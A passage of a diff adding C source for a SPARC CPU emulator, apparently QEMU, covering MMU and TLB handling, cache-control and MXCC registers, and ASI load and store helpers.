is in use */ + if (tsb_split) { + if (page_size == 8*1024) { + va &= ~(1ULL << (13 + tsb_size)); + } else if (page_size == 64*1024) { + va |= (1ULL << (13 + tsb_size)); + } + tsb_base_mask <<= 1; + } + + return ((tsb_base & tsb_base_mask) | (va & ~tsb_base_mask)) & ~0xfULL; +} + +/* Calculates tag target register value by reordering bits + in tag access register */ +static uint64_t ultrasparc_tag_target(uint64_t tag_access_register) +{ + return ((tag_access_register & 0x1fff) << 48) | (tag_access_register >> 22); +} + +static void replace_tlb_entry(SparcTLBEntry *tlb, + uint64_t tlb_tag, uint64_t tlb_tte, + CPUSPARCState *env1) +{ + target_ulong mask, size, va, offset; + + /* flush page range if translation is valid */ + if (TTE_IS_VALID(tlb->tte)) { + CPUState *cs = CPU(sparc_env_get_cpu(env1)); + + mask = 0xffffffffffffe000ULL; + mask <<= 3 * ((tlb->tte >> 61) & 3); + size = ~mask + 1; + + va = tlb->tag & mask; + + for (offset = 0; offset < size; offset += TARGET_PAGE_SIZE) { + tlb_flush_page(cs, va + offset); + } + } + + tlb->tag = tlb_tag; + tlb->tte = tlb_tte; +} + +static void demap_tlb(SparcTLBEntry *tlb, target_ulong demap_addr, + const char *strmmu, CPUSPARCState *env1) +{ + unsigned int i; + target_ulong mask; + uint64_t context; + + int is_demap_context = (demap_addr >> 6) & 1; + + /* demap context */ + switch ((demap_addr >> 4) & 3) { + case 0: /* primary */ + context = env1->dmmu.mmu_primary_context; + break; + case 1: /* secondary */ + context = env1->dmmu.mmu_secondary_context; + break; + case 2: /* nucleus */ + context = 0; + break; + case 3: /* reserved */ + default: + return; + } + + for (i = 0; i < 64; i++) { + if (TTE_IS_VALID(tlb[i].tte)) { + + if (is_demap_context) { + /* will remove non-global entries matching context value */ + if (TTE_IS_GLOBAL(tlb[i].tte) || + !tlb_compare_context(&tlb[i], context)) { + continue; + } + } else { + /* demap page + will remove any entry matching VA */ + mask = 0xffffffffffffe000ULL; + mask <<= 3 * ((tlb[i].tte >> 61) & 3); + + if (!compare_masked(demap_addr, tlb[i].tag, mask)) { + continue; + } + + /* entry should be global or matching context value */ + if (!TTE_IS_GLOBAL(tlb[i].tte) && + !tlb_compare_context(&tlb[i], context)) { + continue; + } + } + + replace_tlb_entry(&tlb[i], 0, 0, env1); +#ifdef DEBUG_MMU + DPRINTF_MMU("%s demap invalidated entry [%02u]\n", strmmu, i); + dump_mmu(stdout, fprintf, env1); +#endif + } + } +} + +static void replace_tlb_1bit_lru(SparcTLBEntry *tlb, + uint64_t tlb_tag, uint64_t tlb_tte, + const char *strmmu, CPUSPARCState *env1) +{ + unsigned int i, replace_used; + + /* Try replacing invalid entry */ + for (i = 0; i < 64; i++) { + if (!TTE_IS_VALID(tlb[i].tte)) { + replace_tlb_entry(&tlb[i], tlb_tag, tlb_tte, env1); +#ifdef DEBUG_MMU + DPRINTF_MMU("%s lru replaced invalid entry [%i]\n", strmmu, i); + dump_mmu(stdout, fprintf, env1); +#endif + return; + } + } + + /* All entries are valid, try replacing unlocked entry */ + + for (replace_used = 0; replace_used < 2; ++replace_used) { + + /* Used entries are not replaced on first pass */ + + for (i = 0; i < 64; i++) { + if (!TTE_IS_LOCKED(tlb[i].tte) && !TTE_IS_USED(tlb[i].tte)) { + + replace_tlb_entry(&tlb[i], tlb_tag, tlb_tte, env1); +#ifdef DEBUG_MMU + DPRINTF_MMU("%s lru replaced unlocked %s entry [%i]\n", + strmmu, (replace_used ? "used" : "unused"), i); + dump_mmu(stdout, fprintf, env1); +#endif + return; + } + } + + /* Now reset used bit and search for unused entries again */ + + for (i = 0; i < 64; i++) { + TTE_SET_UNUSED(tlb[i].tte); + } + } + +#ifdef DEBUG_MMU + DPRINTF_MMU("%s lru replacement failed: no entries available\n", strmmu); +#endif + /* error state? */ +} + +#endif + +void helper_check_align(CPUSPARCState *env, target_ulong addr, uint32_t align) +{ + if (addr & align) { +#ifdef DEBUG_UNALIGNED + printf("Unaligned access to 0x" TARGET_FMT_lx " from 0x" TARGET_FMT_lx + "\n", addr, env->pc); +#endif + helper_raise_exception(env, TT_UNALIGNED); + } +} + +#if !defined(TARGET_SPARC64) && !defined(CONFIG_USER_ONLY) && \ + defined(DEBUG_MXCC) +static void dump_mxcc(CPUSPARCState *env) +{ + printf("mxccdata: %016" PRIx64 " %016" PRIx64 " %016" PRIx64 " %016" PRIx64 + "\n", + env->mxccdata[0], env->mxccdata[1], + env->mxccdata[2], env->mxccdata[3]); + printf("mxccregs: %016" PRIx64 " %016" PRIx64 " %016" PRIx64 " %016" PRIx64 + "\n" + " %016" PRIx64 " %016" PRIx64 " %016" PRIx64 " %016" PRIx64 + "\n", + env->mxccregs[0], env->mxccregs[1], + env->mxccregs[2], env->mxccregs[3], + env->mxccregs[4], env->mxccregs[5], + env->mxccregs[6], env->mxccregs[7]); +} +#endif + +#if (defined(TARGET_SPARC64) || !defined(CONFIG_USER_ONLY)) \ + && defined(DEBUG_ASI) +static void dump_asi(const char *txt, target_ulong addr, int asi, int size, + uint64_t r1) +{ + switch (size) { + case 1: + DPRINTF_ASI("%s "TARGET_FMT_lx " asi 0x%02x = %02" PRIx64 "\n", txt, + addr, asi, r1 & 0xff); + break; + case 2: + DPRINTF_ASI("%s "TARGET_FMT_lx " asi 0x%02x = %04" PRIx64 "\n", txt, + addr, asi, r1 & 0xffff); + break; + case 4: + DPRINTF_ASI("%s "TARGET_FMT_lx " asi 0x%02x = %08" PRIx64 "\n", txt, + addr, asi, r1 & 0xffffffff); + break; + case 8: + DPRINTF_ASI("%s "TARGET_FMT_lx " asi 0x%02x = %016" PRIx64 "\n", txt, + addr, asi, r1); + break; + } +} +#endif + +#ifndef TARGET_SPARC64 +#ifndef CONFIG_USER_ONLY + + +/* Leon3 cache control */ + +static void leon3_cache_control_st(CPUSPARCState *env, target_ulong addr, + uint64_t val, int size) +{ + DPRINTF_CACHE_CONTROL("st addr:%08x, val:%" PRIx64 ", size:%d\n", + addr, val, size); + + if (size != 4) { + DPRINTF_CACHE_CONTROL("32bits only\n"); + return; + } + + switch (addr) { + case 0x00: /* Cache control */ + + /* These values must always be read as zeros */ + val &= ~CACHE_CTRL_FD; + val &= ~CACHE_CTRL_FI; + val &= ~CACHE_CTRL_IB; + val &= ~CACHE_CTRL_IP; + val &= ~CACHE_CTRL_DP; + + env->cache_control = val; + break; + case 0x04: /* Instruction cache configuration */ + case 0x08: /* Data cache configuration */ + /* Read Only */ + break; + default: + DPRINTF_CACHE_CONTROL("write unknown register %08x\n", addr); + break; + }; +} + +static uint64_t leon3_cache_control_ld(CPUSPARCState *env, target_ulong addr, + int size) +{ + uint64_t ret = 0; + + if (size != 4) { + DPRINTF_CACHE_CONTROL("32bits only\n"); + return 0; + } + + switch (addr) { + case 0x00: /* Cache control */ + ret = env->cache_control; + break; + + /* Configuration registers are read and only always keep those + predefined values */ + + case 0x04: /* Instruction cache configuration */ + ret = 0x10220000; + break; + case 0x08: /* Data cache configuration */ + ret = 0x18220000; + break; + default: + DPRINTF_CACHE_CONTROL("read unknown register %08x\n", addr); + break; + }; + DPRINTF_CACHE_CONTROL("ld addr:%08x, ret:0x%" PRIx64 ", size:%d\n", + addr, ret, size); + return ret; +} + +uint64_t helper_ld_asi(CPUSPARCState *env, target_ulong addr, int asi, int size, + int sign) +{ + CPUState *cs = CPU(sparc_env_get_cpu(env)); + uint64_t ret = 0; +#if defined(DEBUG_MXCC) || defined(DEBUG_ASI) + uint32_t last_addr = addr; +#endif + + helper_check_align(env, addr, size - 1); + switch (asi) { + case 2: /* SuperSparc MXCC registers and Leon3 cache control */ + switch (addr) { + case 0x00: /* Leon3 Cache Control */ + case 0x08: /* Leon3 Instruction Cache config */ + case 0x0C: /* Leon3 Date Cache config */ + if (env->def->features & CPU_FEATURE_CACHE_CTRL) { + ret = leon3_cache_control_ld(env, addr, size); + } + break; + case 0x01c00a00: /* MXCC control register */ + if (size == 8) { + ret = env->mxccregs[3]; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + case 0x01c00a04: /* MXCC control register */ + if (size == 4) { + ret = env->mxccregs[3]; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + case 0x01c00c00: /* Module reset register */ + if (size == 8) { + ret = env->mxccregs[5]; + /* should we do something here? */ + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + case 0x01c00f00: /* MBus port address register */ + if (size == 8) { + ret = env->mxccregs[7]; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + default: + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented address, size: %d\n", addr, + size); + break; + } + DPRINTF_MXCC("asi = %d, size = %d, sign = %d, " + "addr = %08x -> ret = %" PRIx64 "," + "addr = %08x\n", asi, size, sign, last_addr, ret, addr); +#ifdef DEBUG_MXCC + dump_mxcc(env); +#endif + break; + case 3: /* MMU probe */ + case 0x18: /* LEON3 MMU probe */ + { + int mmulev; + + mmulev = (addr >> 8) & 15; + if (mmulev > 4) { + ret = 0; + } else { + ret = mmu_probe(env, addr, mmulev); + } + DPRINTF_MMU("mmu_probe: 0x%08x (lev %d) -> 0x%08" PRIx64 "\n", + addr, mmulev, ret); + } + break; + case 4: /* read MMU regs */ + case 0x19: /* LEON3 read MMU regs */ + { + int reg = (addr >> 8) & 0x1f; + + ret = env->mmuregs[reg]; + if (reg == 3) { /* Fault status cleared on read */ + env->mmuregs[3] = 0; + } else if (reg == 0x13) { /* Fault status read */ + ret = env->mmuregs[3]; + } else if (reg == 0x14) { /* Fault address read */ + ret = env->mmuregs[4]; + } + DPRINTF_MMU("mmu_read: reg[%d] = 0x%08" PRIx64 "\n", reg, ret); + } + break; + case 5: /* Turbosparc ITLB Diagnostic */ + case 6: /* Turbosparc DTLB Diagnostic */ + case 7: /* Turbosparc IOTLB Diagnostic */ + break; + case 9: /* Supervisor code access */ + switch (size) { + case 1: + ret = cpu_ldub_code(env, addr); + break; + case 2: + ret = cpu_lduw_code(env, addr); + break; + default: + case 4: + ret = cpu_ldl_code(env, addr); + break; + case 8: + ret = cpu_ldq_code(env, addr); + break; + } + break; + case 0xa: /* User data access */ + switch (size) { + case 1: + ret = cpu_ldub_user(env, addr); + break; + case 2: + ret = cpu_lduw_user(env, addr); + break; + default: + case 4: + ret = cpu_ldl_user(env, addr); + break; + case 8: + ret = cpu_ldq_user(env, addr); + break; + } + break; + case 0xb: /* Supervisor data access */ + case 0x80: + switch (size) { + case 1: + ret = cpu_ldub_kernel(env, addr); + break; + case 2: + ret = cpu_lduw_kernel(env, addr); + break; + default: + case 4: + ret = cpu_ldl_kernel(env, addr); + break; + case 8: + ret = cpu_ldq_kernel(env, addr); + break; + } + break; + case 0xc: /* I-cache tag */ + case 0xd: /* I-cache data */ + case 0xe: /* D-cache tag */ + case 0xf: /* D-cache data */ + break; + case 0x20: /* MMU passthrough */ + case 0x1c: /* LEON MMU passthrough */ + switch (size) { + case 1: + ret = ldub_phys(cs->as, addr); + break; + case 2: + ret = lduw_phys(cs->as, addr); + break; + default: + case 4: + ret = ldl_phys(cs->as, addr); + break; + case 8: + ret = ldq_phys(cs->as, addr); + break; + } + break; + /* MMU passthrough, 0x100000000 to 0xfffffffff */ + case 0x21: case 0x22: case 0x23: case 0x24: case 0x25: case 0x26: case 0x27: + case 0x28: case 0x29: case 0x2a: case 0x2b: case 0x2c: case 0x2d: case 0x2e: case 0x2f: + switch (size) { + case 1: + ret = ldub_phys(cs->as, (hwaddr)addr + | ((hwaddr)(asi & 0xf) << 32)); + break; + case 2: + ret = lduw_phys(cs->as, (hwaddr)addr + | ((hwaddr)(asi & 0xf) << 32)); + break; + default: + case 4: + ret = ldl_phys(cs->as, (hwaddr)addr + | ((hwaddr)(asi & 0xf) << 32)); + break; + case 8: + ret = ldq_phys(cs->as, (hwaddr)addr + | ((hwaddr)(asi & 0xf) << 32)); + break; + } + break; + case 0x30: /* Turbosparc secondary cache diagnostic */ + case 0x31: /* Turbosparc RAM snoop */ + case 0x32: /* Turbosparc page table descriptor diagnostic */ + case 0x39: /* data cache diagnostic register */ + ret = 0; + break; + case 0x38: /* SuperSPARC MMU Breakpoint Control Registers */ + { + int reg = (addr >> 8) & 3; + + switch (reg) { + case 0: /* Breakpoint Value (Addr) */ + ret = env->mmubpregs[reg]; + break; + case 1: /* Breakpoint Mask */ + ret = env->mmubpregs[reg]; + break; + case 2: /* Breakpoint Control */ + ret = env->mmubpregs[reg]; + break; + case 3: /* Breakpoint Status */ + ret = env->mmubpregs[reg]; + env->mmubpregs[reg] = 0ULL; + break; + } + DPRINTF_MMU("read breakpoint reg[%d] 0x%016" PRIx64 "\n", reg, + ret); + } + break; + case 0x49: /* SuperSPARC MMU Counter Breakpoint Value */ + ret = env->mmubpctrv; + break; + case 0x4a: /* SuperSPARC MMU Counter Breakpoint Control */ + ret = env->mmubpctrc; + break; + case 0x4b: /* SuperSPARC MMU Counter Breakpoint Status */ + ret = env->mmubpctrs; + break; + case 0x4c: /* SuperSPARC MMU Breakpoint Action */ + ret = env->mmubpaction; + break; + case 8: /* User code access, XXX */ + default: + cpu_unassigned_access(cs, addr, false, false, asi, size); + ret = 0; + break; + } + if (sign) { + switch (size) { + case 1: + ret = (int8_t) ret; + break; + case 2: + ret = (int16_t) ret; + break; + case 4: + ret = (int32_t) ret; + break; + default: + break; + } + } +#ifdef DEBUG_ASI + dump_asi("read ", last_addr, asi, size, ret); +#endif + return ret; +} + +void helper_st_asi(CPUSPARCState *env, target_ulong addr, uint64_t val, int asi, + int size) +{ + SPARCCPU *cpu = sparc_env_get_cpu(env); + CPUState *cs = CPU(cpu); + + helper_check_align(env, addr, size - 1); + switch (asi) { + case 2: /* SuperSparc MXCC registers and Leon3 cache control */ + switch (addr) { + case 0x00: /* Leon3 Cache Control */ + case 0x08: /* Leon3 Instruction Cache config */ + case 0x0C: /* Leon3 Date Cache config */ + if (env->def->features & CPU_FEATURE_CACHE_CTRL) { + leon3_cache_control_st(env, addr, val, size); + } + break; + + case 0x01c00000: /* MXCC stream data register 0 */ + if (size == 8) { + env->mxccdata[0] = val; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + case 0x01c00008: /* MXCC stream data register 1 */ + if (size == 8) { + env->mxccdata[1] = val; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + case 0x01c00010: /* MXCC stream data register 2 */ + if (size == 8) { + env->mxccdata[2] = val; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + case 0x01c00018: /* MXCC stream data register 3 */ + if (size == 8) { + env->mxccdata[3] = val; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + case 0x01c00100: /* MXCC stream source */ + if (size == 8) { + env->mxccregs[0] = val; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + env->mxccdata[0] = ldq_phys(cs->as, + (env->mxccregs[0] & 0xffffffffULL) + + 0); + env->mxccdata[1] = ldq_phys(cs->as, + (env->mxccregs[0] & 0xffffffffULL) + + 8); + env->mxccdata[2] = ldq_phys(cs->as, + (env->mxccregs[0] & 0xffffffffULL) + + 16); + env->mxccdata[3] = ldq_phys(cs->as, + (env->mxccregs[0] & 0xffffffffULL) + + 24); + break; + case 0x01c00200: /* MXCC stream destination */ + if (size == 8) { + env->mxccregs[1] = val; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + stq_phys(cs->as, (env->mxccregs[1] & 0xffffffffULL) + 0, + env->mxccdata[0]); + stq_phys(cs->as, (env->mxccregs[1] & 0xffffffffULL) + 8, + env->mxccdata[1]); + stq_phys(cs->as, (env->mxccregs[1] & 0xffffffffULL) + 16, + env->mxccdata[2]); + stq_phys(cs->as, (env->mxccregs[1] & 0xffffffffULL) + 24, + env->mxccdata[3]); + break; + case 0x01c00a00: /* MXCC control register */ + if (size == 8) { + env->mxccregs[3] = val; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + case 0x01c00a04: /* MXCC control register */ + if (size == 4) { + env->mxccregs[3] = (env->mxccregs[3] & 0xffffffff00000000ULL) + | val; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + case 0x01c00e00: /* MXCC error register */ + /* writing a 1 bit clears the error */ + if (size == 8) { + env->mxccregs[6] &= ~val; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + case 0x01c00f00: /* MBus port address register */ + if (size == 8) { + env->mxccregs[7] = val; + } else { + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented access size: %d\n", addr, + size); + } + break; + default: + qemu_log_mask(LOG_UNIMP, + "%08x: unimplemented address, size: %d\n", addr, + size); + break; + } + DPRINTF_MXCC("asi = %d, size = %d, addr = %08x, val = %" PRIx64 "\n", + asi, size, addr, val); +#ifdef DEBUG_MXCC + dump_mxcc(env); +#endif + break; + case 3: /* MMU flush */ + case 0x18: /* LEON3 MMU flush */ + { + int mmulev; + + mmulev = (addr >> 8) & 15; + DPRINTF_MMU("mmu flush level %d\n", mmulev); + switch (mmulev) { + case 0: /* flush page */ + tlb_flush_page(CPU(cpu), addr & 0xfffff000); + break; + case 1: /* flush segment (256k) */ + case 2: /* flush region (16M) */ + case 3: /* flush context (4G) */ + case 4: /* flush entire */ + tlb_flush(CPU(cpu), 1); + break; + default: + break; + } +#ifdef DEBUG_MMU + dump_mmu(stdout, fprintf, env); +#endif + } + break; + case 4: /* write MMU regs */ + case 0x19: /* LEON3 write MMU regs */ + { + int reg = (addr >> 8) & 0x1f; + uint32_t oldreg; + + oldreg = env->mmuregs[reg]; + switch (reg) { + case 0: /* Control Register */ + env->mmuregs[reg] = (env->mmuregs[reg] & 0xff000000) | + (val & 0x00ffffff); + /* Mappings generated during no-fault mode or MMU + disabled mode are invalid in normal mode */ + if ((oldreg & (MMU_E | MMU_NF | env->def->mmu_bm)) != + (env->mmuregs[reg] & (MMU_E | MMU_NF | env->def->mmu_bm))) { + tlb_flush(CPU(cpu), 1); + } + break; + case 1: /* Context Table Pointer Register */ + env->mmuregs[reg] = val & env->def->mmu_ctpr_mask; + break; + case 2: /* Context Register */ + env->mmuregs[reg] = val & env->def->mmu_cxr_mask; + if (oldreg != env->mmuregs[reg]) { + /* we flush when the MMU context changes because + QEMU has no MMU context support */ + tlb_flush(CPU(cpu), 1); + } + break; + case 3: /* Synchronous Fault Status Register with Clear */ + case 4: /* Synchronous Fault Address Register */ + break; + case 0x10: /* TLB Replacement Control Register */ + env->mmuregs[reg] = val & env->def->mmu_trcr_mask; + break; + case 0x13: /* Synchronous Fault Status Register with Read + and Clear */ + env->mmuregs[3] = val & env->def->mmu_sfsr_mask; + break; + case 0x14: /* Synchronous Fault Address Register */ + env->mmuregs[4] = val; + break; + default: + env->mmuregs[reg] = val; + break; + } + if (oldreg != env->mmuregs[reg]) { + DPRINTF_MMU("mmu change reg[%d]: 0x%08x -> 0x%08x\n", + reg, oldreg, env->mmuregs[reg]); + } +#ifdef DEBUG_MMU + dump_mmu(stdout, fprintf, env); +#endif + } + break; + case 5: /* Turbosparc ITLB Diagnostic */ + case 6: /* Turbosparc DTLB Diagnostic */ + case 7: /* Turbosparc IOTLB Diagnostic */ + break; + case 0xa: /* User data access */ + switch (size) { + case 1: + cpu_stb_user(env, addr, val); + break; + case 2: + cpu_stw_user(env, addr, val); + break; + default: + case 4: + cpu_stl_user(env, addr, val); + break; + case 8: + cpu_stq_user(env, addr, val); + break; + } + break; + case 0xb: /* Supervisor data access */ + case 0x80: + switch (size) { + case 1: + cpu_stb_kernel(env, addr, val); + break; + case 2: + cpu_stw_kernel(env, addr, val); + break; + default: + case 4: + cpu_stl_kernel(env, addr, val); + break; + case 8: + cpu_stq_kernel(env, addr, val); + break; + } + break; + case 0xc: /* I-cache tag */ + case 0xd: /* I-cache data */ + case 0xe: /* D-cache tag */ + case 0xf: /* D-cache data */ + case 0x10: /* I/D-cache flush page */ + case 0x11: /* I/D-cache flush segment */ + case 0x12: /* I/D-cache flush region */ + case 0x13: /* I/D-cache flush context */ + case 0x14: /* I/D-cache flush user */ + break; + case 0x17: /* Block copy, sta access */ + { + /* val = src + addr = dst + copy 32 bytes */ + unsigned int i; + uint32_t src = val & ~3, dst = addr & ~3, temp; + + for (i = 0; i < 32; i += 4, src += 4, dst += 4) { + temp = cpu_ldl_kernel(env, src); + cpu_stl_kernel(env, dst, temp); + } + } + break; + case 0x1f: /* Block fill, stda access */ + { + /* addr = dst + fill 32 bytes with val */ + unsigned int i; + uint32_t dst = addr & 7; + + for (i = 0; i < 32; i += 8, dst += 8) { + cpu_stq_kernel(env, dst, val); + } + } + break; + case 0x20: /* MMU passthrough */ + case 0x1c: /* LEON MMU passthrough */ + { + switch (size) { + case 1: + stb_phys(cs->as, addr, val); + break; + case 2: + stw_phys(cs->as, addr, val); + break; + case 4: + default: + stl_phys(cs->as, addr, val); + break; + case 8: + stq_phys(cs->as, addr, val); + break; + } + } + break; + /* MMU passthrough, 0x100000000 to 0xfffffffff */ + case 0x21: case 0x22: case 0x23: case 0x24: case 0x25: case 0x26: case 0x27: + case 0x28: case 0x29: case 0x2a: case 0x2b: case 0x2c: case 0x2d: case 0x2e: case 0x2f: + { + switch (size) { + case 1: + stb_phys(cs->as, (hwaddr)addr + | ((hwaddr)(asi & 0xf) << 32), val); + break; + case 2: + stw_phys(cs->as, (hwaddr)addr + | ((hwaddr)(asi & 0xf) << 32), val); + break; + case 4: + default: + stl_phys(cs->as, (hwaddr)addr + | ((hwaddr)(asi & 0xf) << 32), val); + break; + case 8: + stq_phys(cs->as, (hwaddr)addr + | ((hwaddr)(asi & 0xf) << 32), val); + break; + } + } + break; + case 0x30: /* store buffer tags or Turbosparc secondary cache diagnostic */ + case 0x31: /* store buffer data, Ross RT620 I-cache flush or + Turbosparc snoop RAM */ + case 0x32: /* store buffer control or Turbosparc page table + descriptor diagnostic */ + case 0x36: /* I-cache flash clear */ + case 0x37: /* D-cache flash clear */ + break; + case 0x38: /* SuperSPARC MMU Breakpoint Control Registers*/ + { + int reg = (addr >> 8) & 3; + + switch (reg) { + case 0: /* Breakpoint Value (Addr) */ + env->mmubpregs[reg] = (val & 0xfffffffffULL); + break; + case 1: /* Breakpoint Mask */ + env->mmubpregs[reg] = (val & 0xfffffffffULL); + break; + case 2: /* Breakpoint Control */ + env->mmubpregs[reg] = (val & 0x7fULL); + break; + case 3: /* Breakpoint Status */ + env->mmubpregs[reg] = (val & 0xfULL); + break; + } + DPRINTF_MMU("write breakpoint reg[%d] 0x%016x\n", reg, + env->mmuregs[reg]); + } + break; + case 0x49: /* SuperSPARC MMU Counter Breakpoint Value */ + env->mmubpctrv = val & 0xffffffff; + break; + case 0x4a: /* SuperSPARC MMU Counter Breakpoint Control */ + env->mmubpctrc = val & 0x3; + break; + case 0x4b: /* SuperSPARC MMU Counter Breakpoint Status */ + env->mmubpctrs = val & 0x3; + break; + case 0x4c: /* SuperSPARC MMU Breakpoint Action */ + env->mmubpaction = val & 0x1fff; + break; + case 8: /* User code access, XXX */ + case 9: /* Supervisor code access, XXX */ + default: + cpu_unassigned_access(CPU(sparc_env_get_cpu(env)), + addr, true, false, asi, size); + break; + } +#ifdef DEBUG_ASI + dump_asi("write", addr, asi, size, val); +#endif +} + +#endif /* CONFIG_USER_ONLY */ +#else /* TARGET_SPARC64 */ + +/* returns true if access using this ASI is to have address translated by MMU + otherwise access is to raw physical address */ +static inline int is_translating_asi(int asi) +{ +#ifdef TARGET_SPARC64 + /* Ultrasparc IIi translating asi + - note this list is defined by cpu implementation + */ + if( (asi >= 0x04 && asi <= 0x11) || + (asi >= 0x16 && asi <= 0x19) || + (asi >= 0x1E && asi <= 0x1F) || + (asi >= 0x24 && asi <= 0x2C) || + (asi >= 0x70 && asi <= 0x73) || + (asi >= 0x78 && asi <= 0x79) || + (asi >= 0x80 && asi <= 0xFF) ) + { + return 1; + } + else + { + return 0; + } +#else + /* TODO: check sparc32 bits */ + return 0; +#endif +} + +static inline target_ulong address_mask(CPUSPARCState *env1, target_ulong addr) +{ +#ifdef TARGET_SPARC64 + if (AM_CHECK(env1)) { + addr &= 0xffffffffULL; + } +#endif + return addr; +} + +static inline target_ulong asi_address_mask(CPUSPARCState *env, + int asi, target_ulong addr) +{ + if (is_translating_asi(asi)) { + return address_mask(env, addr); + } else { + return addr; + } +} + +#ifdef CONFIG_USER_ONLY +uint64_t helper_ld_asi(CPUSPARCState *env, target_ulong addr, int asi, int size, + int sign) +{ + uint64_t ret = 0; +#if defined(DEBUG_ASI) + target_ulong last_addr = addr; +#endif + + if (asi < 0x80) { + helper_raise_exception(env, TT_PRIV_ACT); + } + + helper_check_align(env, addr, size - 1); + addr = asi_address_mask(env, asi, addr); + + switch (asi) { + case 0x82: /* Primary no-fault */ + case 0x8a: /* Primary no-fault LE */ + if (page_check_range(addr, size, PAGE_READ) == -1) { +#ifdef DEBUG_ASI + dump_asi("read ", last_addr, asi, size, ret); +#endif + return 0; + } + /* Fall through */ + case 0x80: /* Primary */ + case 0x88: /* Primary LE */ + { + switch (size) { + case 1: + ret = ldub_raw(addr); + break; + case 2: + ret = lduw_raw(addr); + break; + case 4: + ret = ldl_raw(addr); + break; + default: + case 8: + ret = ldq_raw(addr); + break; + } + } + break; + case 0x83: /* Secondary no-fault */ + case 0x8b: /* Secondary no-fault LE */ + if (page_check_range(addr, size, PAGE_READ) == -1) { +#ifdef DEBUG_ASI + dump_asi("read ", last_addr, asi, size, ret); +#endif + return 0; + } + /* Fall through */ + case 0x81: /* Secondary */ + case 0x89: /* Secondary LE */ + /* XXX */ + break; + default: + break; + } + + /* Convert from little endian */ + switch (asi) { + case 0x88: /* Primary LE */ + case 0x89: /* Secondary LE */ + case 0x8a: /* Primary no-fault LE */ + case 0x8b: /* Secondary no-fault LE */ + switch (size) { + case 2: + ret = bswap16(ret); + break; + case 4: + ret = bswap32(ret); + break; + case 8: + ret = bswap64(ret); + break; + default: + break; + } + default: + break; + } + + /* Convert to signed number */ + if (sign) { + switch (size) { + case 1: + ret = (int8_t) ret; + break; + case 2: + ret = (int16_t) ret; + break; + case 4: + ret = (int32_t) ret; + break; + default: + break; + } + } +#ifdef DEBUG_ASI + dump_asi("read ", last_addr, asi, size, ret); +#endif + return ret; +} + +void helper_st_asi(CPUSPARCState *env, target_ulong addr, target_ulong val, + int asi, int size) +{ +#ifdef DEBUG_ASI + dump_asi("write", addr, asi, size, val); +#endif + if (asi < 0x80) { + helper_raise_exception(env, TT_PRIV_ACT); + } + + helper_check_align(env, addr, size - 1); + addr = asi_address_mask(env, asi, addr); + + /* Convert to little endian */ + switch (asi) { + case 0x88: /* Primary LE */ + case 0x89: /* Secondary LE */ + switch (size) { + case 2: + val = bswap16(val); + break; + case 4: + val = bswap32(val); + break; + case 8: + val = bswap64(val); + break; + default: + break; + } + default: + break; + } + + switch (asi) { + case 0x80: /* Primary */ + case 0x88: /* Primary LE */ + { + switch (size) { + case 1: + stb_raw(addr, val); + break; + case 2: + stw_raw(addr, val); + break; + case 4: + stl_raw(addr, val); + break; + case 8: + default: + stq_raw(addr, val); + break; + } + } + break; + case 0x81: /* Secondary */ + case 0x89: /* Secondary LE */ + /* XXX */ + return; + + case 0x82: /* Primary no-fault, RO */ + case 0x83: /* Secondary no-fault, RO */ + case 0x8a: /* Primary no-fault LE, RO */ + case 0x8b: /* Secondary no-fault LE, RO */ + default: + helper_raise_exception(env, TT_DATA_ACCESS); + return; + } +} + +#else /* CONFIG_USER_ONLY */ + +uint64_t helper_ld_asi(CPUSPARCState *env, target_ulong addr, int asi, int size, + int sign) +{ + CPUState *cs = CPU(sparc_env_get_cpu(env)); + uint64_t ret = 0; +#if defined(DEBUG_ASI) + target_ulong last_addr = addr; +#endif + + asi &= 0xff; + + if ((asi < 0x80 && (env->pstate & PS_PRIV) == 0) + || (cpu_has_hypervisor(env) + && asi >= 0x30 && asi < 0x80 + && !(env->hpstate & HS_PRIV))) { + helper_raise_exception(env, TT_PRIV_ACT); + } + + helper_check_align(env, addr, size - 1); + addr = asi_address_mask(env, asi, addr); + + /* process nonfaulting loads first */ + if ((asi & 0xf6) == 0x82) { + int mmu_idx; + + /* secondary space access has lowest asi bit equal to 1 */ + if (env->pstate & PS_PRIV) { + mmu_idx = (asi & 1) ? MMU_KERNEL_SECONDARY_IDX : MMU_KERNEL_IDX; + } else { + mmu_idx = (asi & 1) ? MMU_USER_SECONDARY_IDX : MMU_USER_IDX; + } + + if (cpu_get_phys_page_nofault(env, addr, mmu_idx) == (0-1ULL)) { +#ifdef DEBUG_ASI + dump_asi("read ", last_addr, asi, size, ret); +#endif + /* env->exception_index is set in get_physical_address_data(). */ + helper_raise_exception(env, cs->exception_index); + } + + /* convert nonfaulting load ASIs to normal load ASIs */ + asi &= ~0x02; + } + + switch (asi) { + case 0x10: /* As if user primary */ + case 0x11: /* As if user secondary */ + case 0x18: /* As if user primary LE */ + case 0x19: /* As if user secondary LE */ + case 0x80: /* Primary */ + case 0x81: /* Secondary */ + case 0x88: /* Primary LE */ + case 0x89: /* Secondary LE */ + case 0xe2: /* UA2007 Primary block init */ + case 0xe3: /* UA2007 Secondary block init */ + if ((asi & 0x80) && (env->pstate & PS_PRIV)) { + if 